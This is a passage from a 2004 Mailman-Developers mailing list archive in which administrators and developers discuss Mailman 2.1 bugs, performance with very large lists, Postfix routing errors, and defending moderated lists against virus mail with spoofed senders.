after so many seconds.
Python 2.3 has socket methods settimeout and gettimeout. I'm
thinking about using these methods to detect hangs and restart the
OutgoingRunner in some fasion.
Thoughts? Comments?
I'll get some sample code later this afternoon.
Details:
Mailman 2.1.4
Python 2.3.3
Solaris 9
Thanks,
Mike
-
Mike Porter
PGP Fingerprint: F4 AE E1 9F 67 F7 DA EA 2F D2 37 F3 99 ED D1 C2
From jeff at lfchosting.com Mon Mar 15 08:50:54 2004
From: jeff at lfchosting.com (Jeff Fisher)
Date: Mon Mar 15 08:52:05 2004
Subject: [Mailman-Developers] Mailman 3.0
Message-ID: <4055B4BE.7040209@lfchosting.com>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hey guys,
Is there publically accessible code for Mailman 3.0 anywhere? I took a
look on SF using their CVS web browser and all I saw was a readme for 3.0.
Jeff
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFAVbS+pBAut/BiBgoRAnLeAJ0ekvrokC+VtXIRh1rqmnd1VvH3gQCePo+p
xfY5NwPtSkq1P/QvYUGKlLs=
=gx3a
-----END PGP SIGNATURE-----
From arthur at abible.com Mon Mar 15 13:53:31 2004
From: arthur at abible.com (Arthur Gibbs)
Date: Mon Mar 15 13:53:34 2004
Subject: [Mailman-Developers] Virus sent to lists "from" my domain - add
password for moderated users
Message-ID: <00e401c40abe$cf5f74a0$6401a8c0@desktop>
Using Mailman 2.1.3, we have had problems with virus-generated messages with
spoofed senders getting through to a one-way list.
The only 'solution' I have found is to to disallow any non-moderated users
or administrators. This forces all messages, even from list admins, to be
moderated.
Under Privacy options: [Recipient filters], we set "Ceiling on acceptable
number of recipients for a posting" to 1.
And also turned on 'Emergency moderation of all list traffic is enabled' in
General Options.
However this is not ideal. Back in the dark ages I used Majodomo. As
primtive as that program was, these virus messages would not be getting
through. Reason? The moderated users had to include a password with each
post. Could that password type feature be added?
A virus might forge the 'form' and the envelope. But it is aweful hard to
forge a good password that also matches that from.
Any thoughts?
From chuqui at plaidworks.com Mon Mar 15 14:11:00 2004
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Mon Mar 15 14:11:48 2004
Subject: [Mailman-Developers] Virus sent to lists "from" my domain - add
password for moderated users
In-Reply-To: <00e401c40abe$cf5f74a0$6401a8c0@desktop>
References: <00e401c40abe$cf5f74a0$6401a8c0@desktop>
Message-ID: <7EE7E36C-76B4-11D8-8ABB-0003934516A8@plaidworks.com>
On Mar 15, 2004, at 10:53 AM, Arthur Gibbs wrote:
> Using Mailman 2.1.3, we have had problems with virus-generated
> messages with
> spoofed senders getting through to a one-way list.
we got nailed by this, also. at work, where I'm still (sigh) on 2.0.x,
it nailed a big list, but since I front it with demime, it was
defanged. Here at home, on 2.1.5b1, even though it's supposed to strip
that stuff (I thought), it got through, live. I haven't looked at that
yet, hopefully today with more details.
A quickie solution:
set up your aliases differently:
foo: foo-admin
foo-post: (pointer to list posting interface)
then when you send the mail, do a:
to: foo
Bcc: foo-post
make sure the list isn't set to hold Bcc:ed posts, and it ought to go
through fine, but be protected from viruses remailing to "foo" as your
moderator.
(which brings up an interesting problem: I realized over the weekend
we've been lucky that viruses haven't been taught to target mailing
lists yet. Think about it -- how do we handle a situation where a tool
watches the incoming e-mail stream for either a "sender" or "list-id",
and then sends itself back to that list using the "from" address in
that incoming message? My guess is most lists would let that stuff
through very happily, and while some would defang any active content --
lots wouldn't.
and I don't have a good answer for that, not at all. not sure how to
close that hole offhand. we made it easy to figure out it IS a list, we
show an address that the virus can tell has posting privs -- and we do
no validation that it's actually coming from that address. ugh)
\
From fil at rezo.net Tue Mar 16 09:32:24 2004
From: fil at rezo.net (Fil)
Date: Tue Mar 16 09:34:03 2004
Subject: [Mailman-Developers] 200 000 subscribers
Message-ID: <20040316143224.GA3179@rezo.net>
Hello there,
on my brand new Mailman box (quadriproc, a lot of memory, load near zero), I
have uploaded a 200 000 subscribers list, just to see what happens. The Web
interface sort of works, but is really slow
When I go to
http://listes.rezo.net/mailman/admin/test2/members
it takes about 25 seconds to get the page.
And just a bit less to "search" a subscriber.
If the time is taken by sorting, I'd rather not sort and just use the
"search" box (I don't need the list view). If it's taken by loading the
subscribers base, then I think we have no hope but to wait for a MySQL-based
MM3.
So my question is: should I wait? If not, where should I start looking?
-- Fil
From rohmer at aisconsulting.net Tue Mar 16 09:37:29 2004
From: rohmer at aisconsulting.net (Ron Ohmer)
Date: Tue Mar 16 09:37:33 2004
Subject: [Mailman-Developers] 200 000 subscribers
In-Reply-To: <20040316143224.GA3179@rezo.net>
Message-ID: <200403161437.i2GEbRuI014943@ms-smtp-03.tampabay.rr.com>
I went to the page and got it in less than a second..
Of course I don't speak the language, so I am not sure what it says.. :-)
MySQL based mailman will be much faster, obviously.
-----Original Message-----
From: mailman-developers-bounces+rohmer=aisconsulting.net@python.org
[mailto:mailman-developers-bounces+rohmer=aisconsulting.net@python.org] On
Behalf Of Fil
Sent: Tuesday, March 16, 2004 9:32 AM
To: Mailman Developers
Subject: [Mailman-Developers] 200 000 subscribers
Hello there,
on my brand new Mailman box (quadriproc, a lot of memory, load near zero), I
have uploaded a 200 000 subscribers list, just to see what happens. The Web
interface sort of works, but is really slow
When I go to
http://listes.rezo.net/mailman/admin/test2/members
it takes about 25 seconds to get the page.
And just a bit less to "search" a subscriber.
If the time is taken by sorting, I'd rather not sort and just use the
"search" box (I don't need the list view). If it's taken by loading the
subscribers base, then I think we have no hope but to wait for a MySQL-based
MM3.
So my question is: should I wait? If not, where should I start looking?
-- Fil
_______________________________________________
Mailman-Developers mailing list
Mailman-Developers@python.org
http://mail.python.org/mailman/listinfo/mailman-developers
Unsubscribe:
http://mail.python.org/mailman/options/mailman-developers/rohmer%40aisconsul
ting.net
From fil at rezo.net Tue Mar 16 09:38:44 2004
From: fil at rezo.net (Fil)
Date: Tue Mar 16 09:40:21 2004
Subject: [Mailman-Developers] 200 000 subscribers
In-Reply-To: <200403161437.i2GEbRuI014943@ms-smtp-03.tampabay.rr.com>
References: <20040316143224.GA3179@rezo.net>
<200403161437.i2GEbRuI014943@ms-smtp-03.tampabay.rr.com>
Message-ID: <20040316143844.GB3179@rezo.net>
@ Ron Ohmer :
> I went to the page and got it in less than a second..
Well, provided you enter the password it will take 25 seconds :)
Try: ghjoiklpm
-- Fil
From rohmer at aisconsulting.net Tue Mar 16 09:46:51 2004
From: rohmer at aisconsulting.net (Ron Ohmer)
Date: Tue Mar 16 09:46:54 2004
Subject: [Mailman-Developers] 200 000 subscribers
In-Reply-To: <20040316143224.GA3179@rezo.net>
Message-ID: <200403161446.i2GEknuI025614@ms-smtp-03.tampabay.rr.com>
I believe a large percentage of that time will be spent by your browser.
You have a table, then ~3950 formatted lines ( tag).
It takes forever for a browser to format all of that.
Try hitting the page, while simultaneously running sar or top on the server,
see where the bottle neck is.
-----Original Message-----
From: mailman-developers-bounces+rohmer=aisconsulting.net@python.org
[mailto:mailman-developers-bounces+rohmer=aisconsulting.net@python.org] On
Behalf Of Fil
Sent: Tuesday, March 16, 2004 9:32 AM
To: Mailman Developers
Subject: [Mailman-Developers] 200 000 subscribers
Hello there,
on my brand new Mailman box (quadriproc, a lot of memory, load near zero), I
have uploaded a 200 000 subscribers list, just to see what happens. The Web
interface sort of works, but is really slow
When I go to
http://listes.rezo.net/mailman/admin/test2/members
it takes about 25 seconds to get the page.
And just a bit less to "search" a subscriber.
If the time is taken by sorting, I'd rather not sort and just use the
"search" box (I don't need the list view). If it's taken by loading the
subscribers base, then I think we have no hope but to wait for a MySQL-based
MM3.
So my question is: should I wait? If not, where should I start looking?
-- Fil
_______________________________________________
Mailman-Developers mailing list
Mailman-Developers@python.org
http://mail.python.org/mailman/listinfo/mailman-developers
Unsubscribe:
http://mail.python.org/mailman/options/mailman-developers/rohmer%40aisconsul
ting.net
From rommel at suse.de Tue Mar 16 10:34:07 2004
From: rommel at suse.de (Heiko Rommel)
Date: Tue Mar 16 10:32:05 2004
Subject: [Mailman-Developers] 200 000 subscribers
In-Reply-To: <200403161446.i2GEknuI025614@ms-smtp-03.tampabay.rr.com>
References: <200403161446.i2GEknuI025614@ms-smtp-03.tampabay.rr.com>
Message-ID:
On Tue, 16 Mar 2004, Ron Ohmer wrote:
> I believe a large percentage of that time will be spent by your browser.
>
> You have a table, then ~3950 formatted lines ( tag).
>
Especially if using older versions of Netscape Navigator the rendering of large
tables takes ages. However, other browsers may be cheating by displaying the
search results even before it is complete (MSIE for example). To test if it is
really MM who is the bottleneck try the command line tools (list_members etc).
--
Heiko Rommel rommel@suse.de
SUSE Linux AG, Maxfeldstr. 5, D-90409 Nuernberg
T: +49 (0) 911 74053 0 F: +49 (0) 911 741 77 55
From rmg at terc.edu Tue Mar 16 11:39:23 2004
From: rmg at terc.edu (Robby Griffin)
Date: Tue Mar 16 11:39:35 2004
Subject: [Mailman-Developers] 200 000 subscribers
In-Reply-To:
Message-ID: <7B6BC396-7768-11D8-B640-00039383CAAE@terc.edu>
On Tuesday, Mar 16, 2004, at 10:34 US/Eastern, Heiko Rommel wrote:
> On Tue, 16 Mar 2004, Ron Ohmer wrote:
>
>> I believe a large percentage of that time will be spent by your
>> browser.
>>
>> You have a table, then ~3950 formatted lines ( tag).
>>
>
> Especially if using older versions of Netscape Navigator the rendering
> of large
> tables takes ages. However, other browsers may be cheating by
> displaying the
> search results even before it is complete (MSIE for example). To test
> if it is
> really MM who is the bottleneck try the command line tools
> (list_members etc).
Loading the page with lynx, it takes about 16 seconds before I'm
prompted to accept a cookie, meaning the CGI has spent that amount of
time producing no output. Afterwards, the page transfers in 4-5 seconds
at 140kb/s. Rendering is ridiculously fast in lynx, of course.
--Robby
From rohmer at aisconsulting.net Tue Mar 16 11:43:02 2004
From: rohmer at aisconsulting.net (Ron Ohmer)
Date: Tue Mar 16 11:43:07 2004
Subject: [Mailman-Developers] 200 000 subscribers
In-Reply-To: <7B6BC396-7768-11D8-B640-00039383CAAE@terc.edu>
Message-ID: <200403161643.i2GGh0Vs008730@ms-smtp-04.tampabay.rr.com>
Well, that means that 40 percent of the time is spent dealing with it on the
client end.
Then the next step, is what portion of this overhead (16 seconds) is the web
server using?
What I am driving at is: What is the amount of time that Mailman is actually
using to deliver this page. That is the amount of time you can hope to gain
with Mailman 3.
-----Original Message-----
From: Robby Griffin [mailto:rmg@terc.edu]
Sent: Tuesday, March 16, 2004 11:39 AM
To: Heiko Rommel
Cc: 'Fil'; 'Mailman Developers'; Ron Ohmer
Subject: Re: [Mailman-Developers] 200 000 subscribers
On Tuesday, Mar 16, 2004, at 10:34 US/Eastern, Heiko Rommel wrote:
> On Tue, 16 Mar 2004, Ron Ohmer wrote:
>
>> I believe a large percentage of that time will be spent by your
>> browser.
>>
>> You have a table, then ~3950 formatted lines ( tag).
>>
>
> Especially if using older versions of Netscape Navigator the rendering
> of large
> tables takes ages. However, other browsers may be cheating by
> displaying the
> search results even before it is complete (MSIE for example). To test
> if it is
> really MM who is the bottleneck try the command line tools
> (list_members etc).
Loading the page with lynx, it takes about 16 seconds before I'm
prompted to accept a cookie, meaning the CGI has spent that amount of
time producing no output. Afterwards, the page transfers in 4-5 seconds
at 140kb/s. Rendering is ridiculously fast in lynx, of course.
--Robby
From fil at rezo.net Tue Mar 16 11:47:10 2004
From: fil at rezo.net (Fil)
Date: Tue Mar 16 11:48:51 2004
Subject: [Mailman-Developers] 200 000 subscribers
In-Reply-To: <200403161643.i2GGh0Vs008730@ms-smtp-04.tampabay.rr.com>
References: <7B6BC396-7768-11D8-B640-00039383CAAE@terc.edu>
<200403161643.i2GGh0Vs008730@ms-smtp-04.tampabay.rr.com>
Message-ID: <20040316164710.GM3179@rezo.net>
Another part of the test is delivery. I subscribed 200 000 local users
(dummy+xxx@alan.rezo.net) and sent a small message. Within a few minutes the
mail queue was full, and postfix was delivering mails like crazy. This
lasted two hours before I killed the remaining messages (about half) in the
mail queue (using
http://www.stahl.bau.tu-bs.de/~hildeb/postfix/scripts/delete-from-mailq )
The only "problem" with this is that messages from smaller lists did not
have any kind of precedence, and were put back for all that time. I'm sure
that if it were feasible I'd prefer smaller lists to deliver faster than
bigger lists. But I know postfix does not allow this, and I also think it's
not Mailman's problem. So I'll have to live with it; just reporting here :)
-- Fil
From jwblist at olympus.net Wed Mar 17 00:39:49 2004
From: jwblist at olympus.net (John W. Baxter)
Date: Wed Mar 17 00:40:26 2004
Subject: [Mailman-Developers] Virus sent to lists "from" my domain -
add password for moderated users
In-Reply-To: <7EE7E36C-76B4-11D8-8ABB-0003934516A8@plaidworks.com>
Message-ID:
On 3/15/2004 11:11, "Chuq Von Rospach" wrote:
> and I don't have a good answer for that, not at all. not sure how to
> close that hole offhand. we made it easy to figure out it IS a list, we
> show an address that the virus can tell has posting privs -- and we do
> no validation that it's actually coming from that address. ugh)
I muttered here a couple of years ago about digital signing of messages
which come from a non-moderated sender. I know it introduces non-trivial
problems.
I don't think the viruses manage SMTP AUTH yet (these days, they're intent
on using their own SMTP servers and forging senders, so the needed
authenticator probably isn't available on the machine they've
infected...that could change)...one could certainly [try to] force mail to
come that way.
Here, incoming mail goes through our virus scan before getting farmed out to
the mailing list machine. So far, that seems to have done its job. (We're
weak on the spam side for the lists, but basically strong enough so
far--almost all the few spam incidents have been moderators making errors.)
--John
From chuqui at plaidworks.com Wed Mar 17 01:18:26 2004
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Wed Mar 17 01:19:09 2004
Subject: [Mailman-Developers] Virus sent to lists "from" my domain - add
password for moderated users
In-Reply-To:
References:
Message-ID:
> I muttered here a couple of years ago about digital signing of messages
> which come from a non-moderated sender. I know it introduces
> non-trivial
> problems.
which are also solved if the MTA supports something like SPF, and
arguably, it might be better to solve things like this at a lower level
than mailman. But short term?
> Here, incoming mail goes through our virus scan before getting farmed
> out to
> the mailing list machine. So far, that seems to have done its job.
that's going to happen soon, too. Was already planned, but some of the
folks involved got ill.
From wheakory at isu.edu Wed Mar 17 16:10:56 2004
From: wheakory at isu.edu (Kory Wheatley)
Date: Wed Mar 17 16:14:11 2004
Subject: [Mailman-Developers] No route to host problem
Message-ID: <4058BEE0.1000008@isu.edu>
When I send a message to a mailman 2.1.4 mailing list using Postfix from
a yahoo account. I receive an error message that says "No route to
Host". It seems when I send out a message from our domain "isu.edu"
they are received, but from any other smtp host I receive the below error:
/var/log/maillog:Mar 17 01:55:24 lx5 postfix/smtp[16457]: 10F74124A31:
to=, relay=none, delay=4956, status=deferred
(connect to mx4.mail.yahoo.com[216.155.197.63]: No route to host)
Here's my main.cf using postconf -n ( would really appreciate help this
is critical).
(I've been working on this for 15 hours straight and don't have any more
troubleshooting ideas)
alias_maps = hash:/home/mailman/data/aliases
command_directory = /usr/sbin
config_directory = /etc/postfix
daemon_directory = /usr/libexec/postfix
debug_peer_level = 2
mail_owner = postfix
mailq_path = /usr/bin/mailq
manpage_directory = /usr/local/man
mydestination = $myhostname, localhost.$mydomain, mm.isu.edu
myhostname = mm.isu.edu
newaliases_path = /usr/bin/newaliases
owner_request_special = no
queue_directory = /var/spool/postfix
readme_directory = /root/postfix_README
recipient_delimiter = +
sample_directory = /etc/postfix
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
unknown_local_recipient_reject_code = 550
[wheakory@lx5 postfix]$ /usr/sbin/postconf -n |more
alias_maps = hash:/home/mailman/data/aliases
command_directory = /usr/sbin
config_directory = /etc/postfix
daemon_directory = /usr/libexec/postfix
debug_peer_level = 2
mail_owner = postfix
mailq_path = /usr/bin/mailq
manpage_directory = /usr/local/man
mydestination = $myhostname, localhost.$mydomain, mm.isu.edu
myhostname = mm.isu.edu
newaliases_path = /usr/bin/newaliases
owner_request_special = no
queue_directory = /var/spool/postfix
readme_directory = /root/postfix_README
recipient_delimiter = +
sample_directory = /etc/postfix
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
unknown_local_recipient_reject_code = 550
[wheakory@lx5 postfix]$ /usr/sbin/postconf -n |more
alias_maps = hash:/home/mailman/data/aliases
command_directory = /usr/sbin
config_directory = /etc/postfix
daemon_directory = /usr/libexec/postfix
debug_peer_level = 2
mail_owner = postfix
mailq_path = /usr/bin/mailq
manpage_directory = /usr/local/man
mydestination = $myhostname, localhost.$mydomain, mm.isu.edu
myhostname = mm.isu.edu
newaliases_path = /usr/bin/newaliases
owner_request_special = no
queue_directory = /var/spool/postfix
readme_directory = /root/postfix_README
recipient_delimiter = +
sample_directory = /etc/postfix
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
unknown_local_recipient_reject_code = 550
--
Kory Wheatley
Academic Computing Analyst Sr.
Phone 282-3874
#########################################
Everything must point to him.
From rmg at terc.edu Wed Mar 17 17:10:45 2004
From: rmg at terc.edu (Robby Griffin)
Date: Wed Mar 17 17:10:44 2004
Subject: [Mailman-Developers] No route to host problem
In-Reply-To: <4058BEE0.1000008@isu.edu>
Message-ID:
On Wednesday, Mar 17, 2004, at 16:10 US/Eastern, Kory Wheatley wrote:
> When I send a message to a mailman 2.1.4 mailing list using Postfix
> from a yahoo account. I receive an error message that says "No route
> to Host". It seems when I send out a message from our domain
> "isu.edu" they are received, but from any other smtp host I receive
> the below error:
>
> /var/log/maillog:Mar 17 01:55:24 lx5 postfix/smtp[16457]: 10F74124A31:
> to=, relay=none, delay=4956,
> status=deferred (connect to mx4.mail.yahoo.com[216.155.197.63]: No
> route to host)
The error itself is neither a postfix issue nor a mailman issue. "No
route to host" means what it says. Check your routing and firewall
configuration; your "lx5" machine needs to be allowed to establish
connections to port 25 at arbitrary IP addresses in order to distribute
mail. You may already have a well-defined set of outbound mail servers
that are allowed to do this, in which case you should either configure
mailman to use them, or add lx5 to the relevant firewall list. Outbound
connections to port 25 may be blocked to slow the spread of email worms.
--Robby
From ghenry at suretecsystems.com Fri Mar 19 14:53:23 2004
From: ghenry at suretecsystems.com (Gavin Henry)
Date: Fri Mar 19 14:53:52 2004
Subject: [Mailman-Developers] Scrubber.patch dead
Message-ID: <200403191953.24692.ghenry@suretecsystems.com>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Don't know if this is the right list. But our own list died a few days ago,
and I narrowed it down after reading the FAQ and mailing list to:
http://www.mail-archive.com/mailman-users@python.org/msg22519.html
So I have followed this, but the patch always dies using either patch -p0 or
- -p1. Any chance the patch could be recreated?
Maybe with diff -urN instead?
I have a big queque in /var/spool/mailman/qfiles/shunt that I need to get rid
of :-)
Thanks everyone.
- --
Kind Regards,
Gavin Henry.
Director.
Open Source. Open Solutions.
http://www.suretecsystems.com/contact
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
iD8DBQFAW0+zeWseh9tzvqgRArjAAJ4jgtr2d0TPqfDh+5lhC2yVLLfnKQCfal/t
oHzVbu3RR/sBTNBkJkgRPBA=
=OFJO
-----END PGP SIGNATURE-----
From pareilly at tcd.ie Sat Mar 20 13:52:36 2004
From: pareilly at tcd.ie (pareilly@tcd.ie)
Date: Sat Mar 20 13:52:39 2004
Subject: [Mailman-Developers] Digests: Can you set the From address?
Message-ID:
I'm looking to add the following feature to 2.1.4
When the DIGESTs are sent out they come from
-request@
I'd like to include a descriptive text for the FROM field.
eg:
'"Talk Mailing List" '
I don't mind hacking the code to make this change. Can someone point
me in the right direction?
Paul
From aaron at theparagon.org Sun Mar 21 23:17:44 2004
From: aaron at theparagon.org (Aaron Schaap)
Date: Sun Mar 21 23:17:57 2004
Subject: [Mailman-Developers] New Template Designs
Message-ID:
I'd like to help out with the design of Mailman and want to know the step's
in which I should do this. Should I just design something and then present
it or is there a group that is currently working on the look and feel of
Mailman?
My Reasoning - I'd like to:
- improve usability
- make templates compliant with XHTML 1.0 and CSS
- bring a fresh look to mailman.
I'd love to work with anyone else that's interested in this or if need be -
I can start up a group.
-------------------------
Aaron Schaap
Elevator Up - Internet Consulting & Development
Phone: 616-566-1423
Web: www.elevatorup.com
Email: aaron.schaap@elevatorup.com
From aaron at theparagon.org Mon Mar 22 08:27:37 2004
From: aaron at theparagon.org (Aaron Schaap)
Date: Mon Mar 22 08:28:02 2004
Subject: [Mailman-Developers] New Template Designs
Message-ID:
> Perfect timing! Barry was just today lamenting the time-consuming (for an
> engineer) nature of this work in mm3--talk to him!
>
> -Dale
How can I get a hold of him?
-------------------------
Aaron Schaap
Elevator Up - Internet Consulting & Development
Phone: 616-566-1423
Web: www.elevatorup.com
Email: aaron.schaap@elevatorup.com
From zimmy at nc.rr.com Mon Mar 22 11:48:22 2004
From: zimmy at nc.rr.com (Mike Zimmerman)
Date: Mon Mar 22 11:48:37 2004
Subject: [Mailman-Developers] Email admin interface for subscription
approve/deny?
Message-ID: <20040322164822.C7D28455D6E@zimmy.dyndns.org>
What is the status of the admin-by-email interface for
approving/denying subscription requests?
I've seen several requests for it (in the archives), and
suggestions that perhaps some parts have been worked on,
but no concrete info.
It appeasr that group-add-by-email can be used as a poor
work-around, tho the user is not removed from the pending
list, so daily reminds are still sent.
My scenario is
- user requests subscription to list
- request is forwarded to admin for approval
- that request is taken by procmail to a script
- script compares user addr against list of pre-approved addr
- script returns confirm/deby email to list interface
whole process takes delay of 2-3 round-trip emails, with
no human interaction. I've had this working with Yahoogroups
and with Majordomo. (un)fortunately(?) my web host uses
mailman and I can not see how to do this with mailman.
I would very much like to use the locally provided email
lists vs. the remote ones I use now. Please advise on how
to do this with an ISP-installed (ie I cannot hack it)
copy of mailman. And.or what is the status/ETA of this
feature?
Thanks,
Mike
From fil at rezo.net Wed Mar 24 05:07:18 2004
From: fil at rezo.net (Fil)
Date: Wed Mar 24 05:08:59 2004
Subject: [Mailman-Developers] bug in sync_members ?
Message-ID: <20040324100718.GE4314@rezo.net>
Hi,
when I try to sync_members with a certain file, I get hundreds of these:
File "/var/local/mailman/pythonlib/email/_parseaddr.py", line 242, in getaddress
returnlist = returnlist + self.getaddress()
fooowed by:
File "/var/local/mailman/pythonlib/email/_parseaddr.py", line 320, in getaddrspec
return EMPTYSTRING.join(aslist) + self.getdomain()
File "/var/local/mailman/pythonlib/email/_parseaddr.py", line 338, in getdomain
sdlist.append(self.getatom())
RuntimeError: maximum recursion depth exceeded
-- Fil
From krichel at openlib.org Fri Mar 26 09:46:34 2004
From: krichel at openlib.org (Thomas Krichel)
Date: Fri Mar 26 09:48:04 2004
Subject: [Mailman-Developers] configuration bug
Message-ID: <20040326144634.GA30799@openlib.org>
Hi,
I send the appended to mailman-users but I am not aware
of a reply. Could one of you guys give me a hint on
what to check to get rid of the problem? Or does
configuration via files just not work?
Thomas Krichel mailto:krichel@openlib.org
http://openlib.org/home/krichel
RePEc:per:1965-06-05:thomas_krichel
Hi,
I work as a volunteer for NEP: New Economics Paper, see
http://nep.repec.org. We have a lot of lists. All have
identical setup, bar the name, title, and owners. I need
to automate the configuration. But that does not seem to
work. It has not been working for months. I wrote to
the Debian maintainer but I have no response. I am in dispair.
I run the version of mailman distributed with the testing
verison of Debian
admnep@arcano:~$ /home/admnep/mailman/bin/version
Using Mailman version: 2.1.4
I can create a test list
sh-2.05b$ /var/lib/mailman/bin/newlist testlist krichel@openlib.org testpass
To finish creating your mailing list, you must edit your /etc/aliases (or
equivalent) file by adding the following lines, and possibly running the
`newaliases' program:
## testlist mailing list
testlist: "|/var/lib/mailman/mail/mailman post testlist"
testlist-admin: "|/var/lib/mailman/mail/mailman admin testlist"
testlist-bounces: "|/var/lib/mailman/mail/mailman bounces testlist"
testlist-confirm: "|/var/lib/mailman/mail/mailman confirm testlist"
testlist-join: "|/var/lib/mailman/mail/mailman join testlist"
testlist-leave: "|/var/lib/mailman/mail/mailman leave testlist"
testlist-owner: "|/var/lib/mailman/mail/mailman owner testlist"
testlist-request: "|/var/lib/mailman/mail/mailman request testlist"
testlist-subscribe: "|/var/lib/mailman/mail/mailman subscribe testlist"
testlist-unsubscribe: "|/var/lib/mailman/mail/mailman unsubscribe testlist"
Hit enter to notify testlist owner...
I can then output its configuration
/var/lib/mailman/bin/config_list -o /tmp/testlist.conf testlist
I can use the same testlist file to configure my list
/var/lib/mailman/bin/config_list -i /tmp/testlist.conf testlist
No error reported, but the list is missconfiguered and can not
be accessed on the web interface. Here is what's happening, say
if I want to configure again
sh-2.05b$ /var/lib/mailman/bin/config_list -o /tmp/testlist.conf testlist
Traceback (most recent call last):
File "/var/lib/mailman/bin/config_list", line 353, in ?
main()
File "/var/lib/mailman/bin/config_list", line 346, in main
do_output(listname, outfile)
File "/var/lib/mailman/bin/config_list", line 117, in do_output
do_list_categories(mlist, k, None, outfp)
File "/var/lib/mailman/bin/config_list", line 127, in do_list_categories
info = mlist.GetConfigInfo(k, subcat)
File "/var/lib/mailman/Mailman/MailList.py", line 428, in GetConfigInfo
value = gui.GetConfigInfo(self, category, subcat)
File "/var/lib/mailman/Mailman/Gui/General.py", line 53, in GetConfigInfo
optvals = [mlist.new_member_options & bitfields[o] for o in OPTIONS]
TypeError: unsupported operand type(s) for &: 'list' and 'int'
The same error on the web interface
Bug in Mailman version 2.1.4
We're sorry, we hit a bug!
If you would like to help us identify the problem, please email a copy of this page to the webmaster for this site with a description of what happened. Thanks!
Traceback:
Traceback (most recent call last):
File "/var/lib/mailman/scripts/driver", line 97, in run_main
main()
File "/usr/lib/mailman/Mailman/Cgi/admin.py", line 175, in main
change_options(mlist, category, subcat, cgidata, doc)
File "/usr/lib/mailman/Mailman/Cgi/admin.py", line 1296, in change_options
gui.handleForm(mlist, category, subcat, cgidata, doc)
File "/var/lib/mailman/Mailman/Gui/GUIBase.py", line 126, in handleForm
for item in self.GetConfigInfo(mlist, category, subcat):
File "/var/lib/mailman/Mailman/Gui/General.py", line 53, in GetConfigInfo
optvals = [mlist.new_member_options & bitfields[o] for o in OPTIONS]
TypeError: unsupported operand type(s) for &: 'list' and 'int'
Python information:
Variable Value
sys.version 2.3.3 (#2, Feb 24 2004, 09:29:20) [GCC 3.3.3 (Debian)]
sys.executable /usr/bin/python
sys.prefix /usr
sys.exec_prefix /usr
sys.path /usr
sys.platform linux2
Environment variables:
Variable Value
HTTP_REFERER http://lists.repec.org/mailman/admin/testlist
SERVER_SOFTWARE Apache/1.3.29 (Debian GNU/Linux) PHP/4.3.3
SCRIPT_NAME /mailman/admin
SERVER_SIGNATURE
Apache/1.3.29 Server at netec.wustl.edu Port 80
REQUEST_METHOD POST
PATH_INFO /testlist
SERVER_PROTOCOL HTTP/1.1
QUERY_STRING
HTTP_TE deflate, gzip, chunked, identity, trailers
CONTENT_LENGTH 38
HTTP_ACCEPT_CHARSET iso-8859-1, utf-8, utf-16, *;q=0.1
HTTP_USER_AGENT Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686) Opera 7.23 [en]
HTTP_CONNECTION Keep-Alive, TE
HTTP_COOKIE nep-car+admin=
SERVER_NAME netec.wustl.edu
REMOTE_ADDR 24.90.109.249
PATH_TRANSLATED /home/adnetec/WWW/testlist
SERVER_PORT 80
SERVER_ADDR 128.252.177.193
DOCUMENT_ROOT /home/adnetec/WWW
PYTHONPATH /var/lib/mailman
SCRIPT_FILENAME /var/lib/mailman/cgi-bin/admin
SERVER_ADMIN adnetec@netec.wustl.edu
HTTP_HOST lists.repec.org
HTTP_COOKIE2 $Version=1
REQUEST_URI /mailman/admin/testlist
HTTP_ACCEPT text/html, application/xml;q=0.9, application/xhtml+xml;q=0.9, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
GATEWAY_INTERFACE CGI/1.1
REMOTE_PORT 3753
CONTENT_TYPE application/x-www-form-urlencoded
HTTP_ACCEPT_ENCODING deflate, gzip, x-gzip, identity, *;q=0
UNIQUE_ID QGGzT4D8scEAAGbVUoE
Help!!!
Thomas Krichel mailto:krichel@openlib.org
http://openlib.org/home/krichel
RePEc:per:1965-06-05:thomas_krichel
From lists at yggdrasill.net Sat Mar 27 20:00:27 2004
From: lists at yggdrasill.net (Jim)
Date: Sat Mar 27 20:00:37 2004
Subject: [Mailman-Developers] configuration bug
In-Reply-To: <20040326144634.GA30799@openlib.org>
References: <20040326144634.GA30799@openlib.org>
Message-ID:
On Fri, 26 Mar 2004, Thomas Krichel wrote:
> I can then output its configuration
>
> /var/lib/mailman/bin/config_list -o /tmp/testlist.conf testlist
>
> I can use the same testlist file to configure my list
>
> /var/lib/mailman/bin/config_list -i /tmp/testlist.conf testlist
>
> No error reported, but the list is missconfiguered and can not
> be accessed on the web interface. Here is what's happening, say
> if I want to configure again
...
> File "/var/lib/mailman/Mailman/Gui/General.py", line 53, in GetConfigInfo
> optvals = [mlist.new_member_options & bitfields[o] for o in OPTIONS]
> TypeError: unsupported operand type(s) for &: 'list' and 'int'
>
>
> The same error on the web interface
>
> Bug in Mailman version 2.1.4
I ran into the same type of problem a while back. An admittedly
limited investigation indicated that this is a Debian specific
problem. We grabbed the 2.1.4 source, built Mailman from scratch
on the same machine, and the problem went away. Not a great
solution if you are trying stay pure with debian packages, but
it seems to work fine.
Jim
From fil at rezo.net Mon Mar 29 10:53:47 2004
From: fil at rezo.net (Fil)
Date: Mon Mar 29 11:52:14 2004
Subject: [Mailman-Developers] ouch !
Message-ID: <20040329155347.GC31920@rezo.net>
Mar 29 17:43:45 2004 (13635) <20040329152545.892E536822C@alan.rezo.net> smtp for 150082 recips, completed in 570.064 seconds
The strange thing is that my settings should not allow 150 0882 recips
(which is the total number of subscribers), as I have set
SMTP_MAX_RCPTS = 900
Is it a logging "feature" ?
-- Fil
From fil at rezo.net Mon Mar 29 11:39:54 2004
From: fil at rezo.net (Fil)
Date: Mon Mar 29 11:57:27 2004
Subject: [Mailman-Developers] sleep() after sending a chunk?
